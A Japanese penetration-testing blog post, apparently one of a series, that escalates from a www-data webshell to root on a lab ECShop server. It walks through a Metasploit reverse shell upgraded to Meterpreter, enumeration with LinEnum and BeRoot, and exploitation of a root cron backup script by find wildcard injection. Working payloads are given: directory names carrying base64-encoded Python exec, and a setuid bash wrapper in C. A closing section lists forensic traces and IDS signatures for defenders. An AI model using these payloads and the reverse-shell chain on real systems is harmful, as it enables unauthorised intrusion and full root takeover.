ペネトレ検証-権限昇格とWildcard Injectionの原理
しゅーとです。
引き続きペネトレーションテストの検証をしていきます。
前回の記事はこちら。
ペネトレ検証-ECサイトに侵入
前回はECShopの脆弱性を用いてRCE、そしてwww-data権限でのバックドア作成に成功しました。
今回はLinuxでの権限昇格です。
権限昇格したい！
現状コントロールできているのはwww-dataユーザの権限であり、rootではありません。
ここから横展開するにあたり、root権限はぜひとも取っておきたいものです。
そこで今回は権限昇格できるかを調査・試行します。
またfindコマンドに対するWildcard Injection を用いた侵害の説明をふんだんにしています。
そして今回も攻撃後にブルーチーム目線で攻撃の痕跡がどう残っているかも確認します。
metapreterでラクラクやりたい
現状の手札は、永続化のために設置したWSOのバックドア（www-dataユーザ）のみ。
特権昇格など色々な試行をするためにmeterpreterは便利なので使うことにします。
ECShopが稼働しているサーバにncコマンドは入っていませんでしたが、WSOはリバースシェル接続の機能があります。
そのためWSOのリバースシェル経由で meterpreter に接続します。
まずはAttackerのmsfで普通の shell/reverse_tcp を待ち受けます。
msf5 exploit(multi/handler) > show options
(snip)
Payload options (linux/x64/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.22 yes The listen address (an interface may be specified)
LPORT 12345 yes The listen port
(snip)
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.22:12345
WSO の Network toolsで、リバースシェルを張りにいきます。
[*] Sending stage (38 bytes) to 192.168.2.24
[*] Command shell session 1 opened (192.168.2.22:12345 -> 192.168.2.24:47686) at 2019-05-12 03:35:59 +0900
きました。
次はmeterpreterにスイッチします。スイッチには shell_to_meterpreter を使います。
msf5 post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION 1 yes The session to run this module on.
実行します。
無事 meterpreter へスイッチできました。
セッションを見てみます。
id: 2 は WSO からリバースシェル接続したセッションです。 id: 3 は id:2のセッションを使って注入・接続したmeterpreterセッションです。
(小ネタ)どのようにmeterpreterにスイッチされる？
msfconsoleではshellからmeterpreterを起動させましたが、実際metasploitはどのようにやっているのでしょう。
実際にパケットをとってみると以下のようになっていました。
ワンライナーでmeterpreterのstagerをvictimに実行させてるんですね。
stagerはLHOSTに記載のホストに接続し、meterpreter stageを読み込み、実行します。
なお、ワンライナーの内容の通り、/tmpにランダム文字列で一時的にファイルを保存しますが、stagerが起動したらファイルは削除されます。
権限昇格の可能性の調査
meterpreterも手に入ったところで、権限昇格できるか色々調査していきます。
Linuxに対する権限昇格については以下の記事が参考になりました。
https://www.hackingarticles.in/linux-privilege-escalation-via-automated-script/
後述するLinEnum、BeRootの詳細も書かれていて良記事です。
各種情報の取得
LinEnumを使います。
LinEnumは、システムの設定不備によって権限昇格が行える箇所がないかチェックするスクリプトです。
その他、嬉しい情報も集めてくれます。
meterpreterでvictimにアップロードし実行。
meterpreter > upload LinEnum.sh /tmp/.session
[*] uploading : LinEnum.sh -> /tmp/.session
[*] uploaded : LinEnum.sh -> /tmp/.session/LinEnum.sh
meterpreter > shell
Process 1613 created.
Channel 4 created.
pwd
/tmp/.session
chmod u+x LinEnum.sh
./LinEnum.sh | tee LinEnum_out.txt
結果は非常に長大なため省略します。
結果をみたところ即脆弱性につながる情報はありませんでしたが、以下のいい情報が得られました。
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(ecadmin) gid=1000(ecadmin) groups=1000(ecadmin)
(snip)
[-] Are permissions on /home directories lax:
total 12K
drwxr-xr-x 1 root root 4.0K May 11 18:58 .
drwxr-xr-x 1 root root 4.0K May 11 18:50 ..
drwxr-xr-x 3 ecadmin ecadmin 4.0K May 11 19:40 ecadmin
(snip)
/etc/cron.daily:
total 56
drwxr-xr-x 1 root root 4096 May 11 19:37 .
drwxr-xr-x 1 root root 4096 May 11 18:58 ..
-rw-r--r-- 1 root root 102 Mar 21 19:45 .placeholder
-rwxr-xr-x 1 root root 625 Mar 31 2018 apache2
-rwxr-xr-x 1 root root 15000 Dec 11 2016 apt
-rwxr-xr-x 1 root root 695 May 11 19:39 bakProductImage.sh
-rwxr-xr-x 1 root root 1597 May 2 2016 dpkg
-rwxr-xr-x 1 root root 4125 Feb 10 2018 exim4-base
-rwxr-xr-x 1 root root 249 May 17 2017 passwd
(snip)
### SERVICES #############################################
[-] Running processes:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1305 0.0 0.0 55184 2824 ? Ss 18:59 0:00 /usr/sbin/sshd
この結果から、3つのことがわかります。
- sshが2222/tcpで動いている
- ecadminというユーザが存在する
- /etc/cron.dailyに「bakProductImage.sh」という恐らく自作のシェルスクリプトがある
※/etc/cron.daily/ 配下のスクリプトは、cronによって日次で実行されるものです。
脆弱性の有無調査
BeRootを使います。
BeRootはプラットフォームの脆弱性を調査するlinux-exploit-suggesterというスクリプトの機能に加えて、汎用的に発生しがちな脆弱性も調査してくれるスクリプトです。
meterpreterでvictimにアップロードし実行。
meterpreter > upload beroot_linux.tar /tmp/.session
[*] uploading : beroot_linux.tar -> /tmp/.session
[*] uploaded : beroot_linux.tar -> /tmp/.session/beroot_linux.tar
meterpreter > shell
Process 2088 created.
Channel 6 created.
tar xf beroot_linux.tar
(snip)
cd beroot_linux
python beroot.py
実行した結果、プラットフォームに関する脆弱性はありませんでした。
しかし、汎用的な脆弱性を見つけるルーチンで意外なものを見つけました。
サーバ管理者が設置した「bakProductImage.sh」に脆弱性があるかもしれないという示唆です。
bakProductImage.sh の調査
さて、LinEnumとBeRootで見つけたbakProductImage.shが何者かを調べます。
#!/bin/bash
bakDir(){
img_dir_path=$1
dir_name=`basename $img_dir_path`
tar -C `dirname $img_dir_path` -cf $work_dir/$dir_name.tar $dir_name
}
ecshop_dir=/var/www/html
bak_dir=/var/backups/ecshop
date=`date +"%Y%m%d"`
TMP=`mktemp -d`
trap "rm -rf $TMP" EXIT
work_dir=$TMP/$date
mkdir $work_dir
#archive product image dir
image_dirs=` find $ecshop_dir/images -maxdepth 1 -name "*" -type d `
for dir in $image_dirs; do
isProductDir=`find $dir -maxdepth 1 -name 'goods_img' -type d |wc -l`
if [ $isProductDir -eq 1 ]; then
bakDir $dir
fi
done
#backup
tar -C `dirname $work_dir` -cf $bak_dir/$date.tar `basename $work_dir`
chown ecadmin $bak_dir/$date.tar
rm -rf $TMP
ECShopのサイトにある商品画像をバックアップするスクリプトのようです。
パッと見は普通のスクリプトですね。
findコマンドで「/var/www/html/images/」直下のディレクトリを取得し、
そのディレクトリの直下に"goods_img"ディレクトリが存在するかを確認します。
goods_imgディレクトリが存在したらそのディレクトリはバックアップ対象になるようですね。
保存先は /var/backups/ecshop で、%Y%m%d.tar の形式でアーカイブされるようです。
ls -la /var/backups/ecshop/|tail -n 3
-rw-r--r-- 1 ecadmin root 4700160 May 9 01:00 20190509.tar
-rw-r--r-- 1 ecadmin root 4700160 May 10 01:00 20190510.tar
-rw-r--r-- 1 ecadmin root 4700160 May 11 01:00 20190511.tar
日時を見るに、毎日1時にcronが走っているんですね。
また、以下からcronはroot権限で行われていることが推測できます。
- スクリプト内の最後でchownで所有者をecadminに変更している
- バックアップ先のファイルの所有グループがrootのまま
ここまででわかっていること
今までの情報が多かったので、一旦まとめます。
- LinEnumの結果から、設定不備による特権昇格はできなさそう
- BeRootの結果から、OSにインストールされているサーバソフトウェアに脆弱性はない
- BeRootの結果から、cron.dialy/bakProductImage.sh には find 周りに脆弱性がありそう
- バックアップファイルの所有者・所有グループから、cronはroot権限で実行されてそう
Wildcard Injectionの原理と検証
BeRootは bakProductImage.shのfindコマンドに脆弱性の可能性ありと指摘しました。
bakProductImage.sh のfind周りを見てみます。
image_dirs=` find $ecshop_dir/images -maxdepth 1 -name "*" -type d `
for dir in $image_dirs; do
isProductDir=`find $dir -maxdepth 1 -name 'goods_img' -type d |wc -l`
if [ $isProductDir -eq 1 ]; then
bakDir $dir
fi
done
本スクリプトでは find が2箇所登場しています。
まずは2つ目の find の対象パスに注目します。
「find $dir 」とありますが、$dir とは $image_dirs 配列の要素です。
そして $image_dirs は 「find $ecshop_dir/images 」の結果です。
さらに、最初のfind の検索条件は 「"*"」 と書いてあるとおり、任意のものをマッチさせます。
（-type dなのでディレクトリが検索条件）
任意のディレクトリの名前をそのままfindに渡しているということですね。
つまり⚠️危険⚠️な名前のディレクトリを作成すれば、findはその名前で色々やってくれるということです。
この仕様を利用した攻撃を Wildcard Injection といいます。
しかも今回、/var/www/html/images は公開ディレクトリでした。
このディレクトリはwww-dataユーザに書き込み権限があるので、自由にディレクトリを作成することができます。(ここが一番キモ)
find コマンドの おさらい
攻撃の前に、find コマンドのおさらいをします。
find コマンドには、-exec という便利なオプションがあります。
まずは実験のため、自分の環境で/tmp/images/ ディレクトリを作成します。
そしてその配下に 201903, 201904, 201905 ディレクトリを作成します。
（面白いのでぜひみんなも試してくれよな）
$ mkdir /tmp/images/
$ cd /tmp/images
$ mkdir 201903 201904 201905
$ ls
201903 201904 201905
find はご存知の通り、ファイルやディレクトリを検索するコマンドです。 -exec オプションは、検索にマッチしたパスに対して、パスごとにOSコマンドを適用できます。
shu@kali:/tmp/images$ find *
201903
201904
201905
shu@kali:/tmp/images$ find * -exec echo "Path:{}" \;
Path:201903
Path:201904
Path:201905
※{}はマッチしたものが入る変数です。
※「;」は-execの終了を示す記号です。
本当は「;」ですが、「;」はシェルでコマンドの区切りを示す特殊文字なのでエスケープしています。
上記ではechoを使いましたが、別にどんなOSコマンドでも問題ないです。
{}を使う必要もなし。以下みたいに。
shu@kali:/tmp/images$ find * -exec uname \;
Linux
Linux
Linux
unameを使ってみました。3つのディレクトリが存在するので3回unameされてます。
当然touch コマンドとかもいいです。
shu@kali:/tmp/images$ find * -exec touch Test \;
shu@kali:/tmp/images$ ls -l
total 12
drwxr-xr-x 2 shu shu 4096 May 13 07:15 201903
drwxr-xr-x 2 shu shu 4096 May 13 07:15 201904
drwxr-xr-x 2 shu shu 4096 May 13 07:15 201905
-rw-r--r-- 1 shu shu 0 May 13 07:25 Test
findコマンドの仕組み上ディレクトリの数だけ同じコマンドが実行されるので、冪等性が保たれるようにしましょう。
(状態をスイッチするコマンドとかは冪等性が保たれないのでここで使うのはよくない🙅)
なお、findコマンドを実行したユーザの権限でOSコマンドが実行されます。
## WildCard Injection の原理
次はこの-execの仕組みを利用して攻撃を試行します。
実験環境の作成
実験用にbakProductImage.shのfind部分を再現したシェルを作成し、vuln.shとして保存します。
#!/bin/bash
image_dirs=` find /tmp/images -mindepth 1 -maxdepth 1 -name "*" -type d`
for dir in $image_dirs; do
echo "find $dir -maxdepth 1 -name 'goods_img' -type d "
find $dir -maxdepth 1 -name 'goods_img' -type d
echo "==="
done
試しに実行してみます。
shu@kali:/tmp/images$ bash vuln.sh
find /tmp/images/201904 -maxdepth 1 -name 'goods_img' -type d
===
find /tmp/images/201905 -maxdepth 1 -name 'goods_img' -type d
===
find /tmp/images/201903 -maxdepth 1 -name 'goods_img' -type d
===
/tmp/imagesにあるディレクトリ3つに対してさらにfindが実行されました。
echoだけがあって2つめのfindの結果が表示されないのは、各ディレクトリに"goods_img"が存在せず検索にマッチしなかったからです。
試しに201903のディレクトリにgoods_imgディレクトリを作成します。
shu@kali:/tmp/images$ mkdir 201903/goods_img
再度実行してみます。
shu@kali:/tmp/images$ bash vuln.sh
find /tmp/images/201904 -maxdepth 1 -name 'goods_img' -type d
===
find /tmp/images/201905 -maxdepth 1 -name 'goods_img' -type d
===
find /tmp/images/201903 -maxdepth 1 -name 'goods_img' -type d
/tmp/images/201903/goods_img
===
201903ディレクトリだけ2つ目のfindでマッチ結果が実行されていますね。
### ⚠️危険⚠️なディレクトリを作成する
ディレクトリ名が $dir の形で 2つめのfindに渡されているということは、
⚠️危険⚠️な名前のディレクトリを作成すれば任意のコマンドが実行できるということです。
以下のようにディレクトリ名とは思えないディレクトリを作成します。
shu@kali:/tmp/images$ mkdir "* -exec touch hack ;"
shu@kali:/tmp/images$ ls -l
total 20
drwxr-xr-x 3 shu shu 4096 May 13 07:48 201903
drwxr-xr-x 2 shu shu 4096 May 13 07:50 201904
drwxr-xr-x 2 shu shu 4096 May 13 07:50 201905
drwxr-xr-x 2 shu shu 4096 May 13 08:04 '* -exec touch hack ;'
-rw-r--r-- 1 shu shu 245 May 13 07:45 vuln.sh
「* -exec touch hack ;」という名前のディレクトリを作成しました。
先程のfindの結果のとおりパスがマッチしないと-execが実行されないので最初に「*」を、
また -exec の終端を示すため末尾に「;」を付与しています。
さて、この状態でもう一度vuln.shを実行します。
エラーが大量に出ていますね。大量のエラーはインジェクション系攻撃の宿命です。
危険なディレクトリを使ったfindはどうなっているでしょうか。下に抜粋します。
find /tmp/images/* -exec touch hack ; -maxdepth 1 -name 'goods_img' -type d
/tmp/images/* で引っかかったものに対して touch hack を行うという内容になっています。
ディレクトリの状態を見ます。
hackファイルが作成されていますね。実験環境でWildcard Injectionが成功しました💪
これをcronがroot権限でやってくれると権限昇格が捗りますね。 ←ここ一番キモ
-exec の使い勝手を良くする
前項でWildcard Injectionは成功しましたが、これだけでは侵害には使いにくいです。
これは以下の理由によるものです。
- -exec は単一コマンドしか使えない
- ディレクトリ名には「/」が使えないので、ファイル操作が困難
パスが通ってないディレクトリの自作スクリプトを指定することもできません。 - 引数にスペースを含められない
これはforとfindの問題だと思いますが・・・。
ただ、単一コマンドしか使えない場合でも、例えば bashなら bash -c を使ってワンライナーで複数コマンドを書くことができます。
shu@kali:/tmp/images$ bash -c "echo aaa; echo bbb"
aaa
bbb
しかしながら、今回のfor内のfindではスペースが使えません。
実際に試してみます。
shu@kali:/tmp/images$ mkdir "* -exec bash -c \"touch aaa\" ;"
shu@kali:/tmp/images$ bash vuln.sh
(snip)
===
find /tmp/images/* -exec bash -c "touch aaa" ; -maxdepth 1 -name 'goods_img' -type d
(snip)
aaa": -c: line 0: unexpected EOF while looking for matching `"'
aaa": -c: line 1: syntax error: unexpected end of file
(snip)
shu@kali:/tmp/images$ ls -l
total 20
drwxr-xr-x 3 shu shu 4096 May 13 07:48 201903
drwxr-xr-x 2 shu shu 4096 May 13 07:50 201904
drwxr-xr-x 2 shu shu 4096 May 13 07:50 201905
drwxr-xr-x 2 shu shu 4096 May 13 08:34 '* -exec bash -c "touch aaa" ;'
-rw-r--r-- 1 shu shu 245 May 13 07:45 vuln.sh
findでスペースの部分がEOF(EOL)として扱われるため、エラーがでてコマンドの実行に失敗してしまうのです。
Pythonによるワンライナー
このままでは単一コマンドしか使えないので、侵害には使いづらいです。
ただ、今回ECShopが稼働しているサーバにはPythonが入っていました。
Pythonやperlなど、高機能なコマンドが入っていると侵害に非常に役に立ちます。
スペースやスラッシュなんてbase64エンコードしてしまえばいいのです。
ということで、できあがったものがこちらです。
mkdir "* -exec python -c exec('[base64エンコードしたpythonコード]'.decode('base64')) ;"
スペースもスラッシュも使いませんし、これで任意のpythonコードも、OSコマンドも実行できます。
試しにディレクトリ作成
1度にtouchコマンドを2回使ってaaa、bbbディレクトリを作成してみます。
os.systemを使えばOSコマンドが実行できます。
>>> "import os;os.system('touch aaa; touch bbb')".encode("base64")
'aW1wb3J0IG9zO29zLnN5c3RlbSgndG91Y2ggYWFhOyB0b3VjaCBiYmInKQ==\n'
⚠️危険⚠️なディレクトリを作成し、vuln.shを実行します。
shu@kali:/tmp/images$ mkdir "* -exec python -c exec('aW1wb3J0IG9zO29zLnN5c3RlbSgndG91Y2ggYWFhOyB0b3VjaCBiYmInKQ=='.decode('base64')) ;"
shu@kali:/tmp/images$ bash vuln.sh
(snip)
ディレクトリが作成されていることがわかります。
Wildcard Injection を使って権限昇格する
おまたせしました。ここでやっとVictim環境で権限昇格です。
これまでの内容で、findを使って任意のOSコマンドが実行できることがわかりました。
そして今回は bakProductImage.sh が root 権限で実行されてそうなこともわかっています。
今までの材料を使って権限昇格を試みます。
bashラッパーを作成
以下のコードのファイルを作成します。
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main()
{
setuid(geteuid());
system("/bin/bash");
return 0;
}
victimに送信し、コンパイルします。
meterpreter > upload bash_wrapper.c /tmp/.session
[*] uploading : bash_wrapper.c -> /tmp/.session
[*] uploaded : bash_wrapper.c -> /tmp/.session/bash_wrapper.c
meterpreter > shell
Process 10068 created.
Channel 16 created.
gcc -o w ./bash_wrapper.c
ls -l ./w
-rwxr-xr-x 1 www-data www-data 6976 May 12 15:43 ./w
ラッパーが作成されました。
ラッパーの権限を操作するディレクトリを作成
次に、ラッパーの所有者をrootにしてsuidを付与する⚠️危険⚠️なディレクトリを作成します。
作成先は、bakProductImage.sh のfind対象である /var/www/html/images 配下です。
まずはbase64エンコード。
「chown root /tmp/.session/w; chmod u+s /tmp/.session/w」というコマンドを実行するPythonコードをbase64エンコードします。
>>> "import os;os.system('chown root /tmp/.session/w; chmod u+s /tmp/.session/w')".encode("base64")
'aW1wb3J0IG9zO29zLnN5c3RlbSgnY2hvd24gcm9vdCAvdG1wLy5zZXNzaW9uL3c7IGNobW9kIHUr\ncyAvdG1wLy5zZXNzaW9uL3cnKQ==\n'
ディレクトリを作成します。
meterpreter > shell
Process 10076 created.
Channel 17 created.
mkdir "* -exec python -c exec('aW1wb3J0IG9zO29zLnN5c3RlbSgnY2hvd24gcm9vdCAvdG1wLy5zZXNzaW9uL3c7IGNobW9kIHUr\ncyAvdG1wLy5zZXNzaW9uL3cnKQ=='.decode('base64')) ;"
作成できました。
なおfindに対してWildcard Injectionをするときは、コードが 255 文字を超えないように気をつけてください。
大体のファイルシステムは、名前の最大長が 255 文字であるため、コードが長すぎると作成できません。
255文字を超える恐れがあるなら、予め別のシェルスクリプトを作成し、injection時はそのスクリプトを呼ぶようにすればいいです。
あとは 翌日 1 時の cron の実行を待つだけです！
～翌日1時～
1時になったので、ラッパーファイルの状態を見てみます。
見事ラッパーファイルの所有者がrootになってsuidがついていますね。 更新日時も1時になっています。
早速アクセスします。
画像の通り root 権限になっています。
権限昇格成功です💪
あとはmeterpreterを接続するなりしてなんでも好きなことができます。
攻撃の痕跡
IDS
WSOやmeterpreterの接続など、初期侵入の部分は検知してくれました。
ただ、meterpreter接続後は全く検知しませんでした。
入口対策、および初期侵入の検知時にいかに対応できるかが侵害発見のポイントになりそうです。
検知シグネチャは以下のとおり。
ET ATTACK_RESPONSE WSO - WebShell Activity - WSO Title
WSOの各操作のレスポンスで検知しました。
ET POLICY Executable and linking format (ELF) file download
meterpreter にスイッチするためにmeterpreter stageをダウンロードするので、その時のバイナリを検知しました。
ファイルシステム
攻撃者は、全てのアクションは最初に侵入したユーザの権限の範囲内でのみ行なえます。
今回はwww-dataユーザだったので、以下のディレクトリに書き込みが可能でした。
- /tmp
- /var/tmp
- /var/www/html
- /var/run/apache2
- /run/apache2
侵害調査には 各tmpディレクトリを洗い出すのはもはや常識ですが、思わぬところに書き込み権限があり、攻撃者がそれを利用している可能性もあります。
なので /var/www/html など、tmpの他に侵害ユーザが書き込み可能なディレクトリも全て洗い出すべきですね。
下記findコマンドでwww-dataが書き込み可能なディレクトリを調べられます。
find / \( -perm -002 -o -user www-data -o -group www-data \) -type d
また、攻撃者は今回/tmp/.sessionを作業ディレクトリにしました。 ドットファイル/ドットディレクトリはlsコマンド単体では出てこないので注意。 (ls -aやfindなら出てくる）
/tmp/bc
WSO のリバースコネクト用バイナリ。
WSOのリバースコネクトは、作成するファイル形式をCバイナリかperlスクリプトか選べます。
Cバイナリの場合は、常に/tmp/bc というパスでバイナリを作成します。
/tmp/.session/w
権限昇格用バイナリ。suidがついているので大変わかりやすいです。
find で suid が付与されているファイルを洗い出せば出てきます。
一つだけ/tmpに存在するのでバレバレですね。
攻撃者は/usr/bin/ や /bin/ にファイルを作成できないのでこんなことになるのです。
/var/www/html/images/* -exec python -c exec(‘aW1(略)KQ==’.decode(‘base64’)) ;
もはやネタ。
攻撃者は何回も実行されないように一回実行されたら削除しますが、当然痕跡としては残ります。
フォレンジック時、「-exec」を含むファイル/ディレクトリを探すといいかもしれません。
プロセス
侵害調査時、万が一攻撃者が活動してて鉢合わせたらプロセスですぐにわかります。
以下は「ps auxwf」の結果です。
以下の流れであることがひと目でわかりますね。
- WSOでリバースコネクト
- meterpreter の stager
- meterpreter (/tmp/Xeokj)
- 権限昇格用バイナリ ./w (root権限)
- ./w が root 権限で bash を起動
攻撃者としては鉢合わせないように、常にnetstat(ss)やpsに目を光らせておく必要がありますね。
コラム（というか雑記）
find に対する Wildcard Injection の解説はどこよりも詳しく書けたんじゃないかな・・・
というのも、この脆弱性には縁があるのです。
2017年にPaloAlto の NGFWである PAシリーズで、root 権限で RCE可能な脆弱性 (CVE-2017-15944) が見つかりました。
そして、当時SOCアナリストだった私はこの脆弱性のPoCが公開される前に自分で検証してrootを取ることができました。 そして検証の結果なかなかにやばい脆弱性ということがわかったので記事にしたのです。（記事はCVEでググってください）
そのCVE-2017-15944 についてですが、これは今回と同じくログを定期バックアップするシェルスクリプトに脆弱性があり、 同様に find コマンドの Wildcard Injection の脆弱性でした。
この脆弱性を調査する過程で Wildcard Injectionを学んだのですが、当時は記事の速報性を重視したために攻撃の原理を書けず悔しい思いをしたので、ここでまとめてかくことにしました。
これで成仏できます。😇
今回はAD侵害までいけず、Linux環境の権限昇格のところまででした。 次こそADにいきたいですが、フォワーディングだけで終わりそう
以上。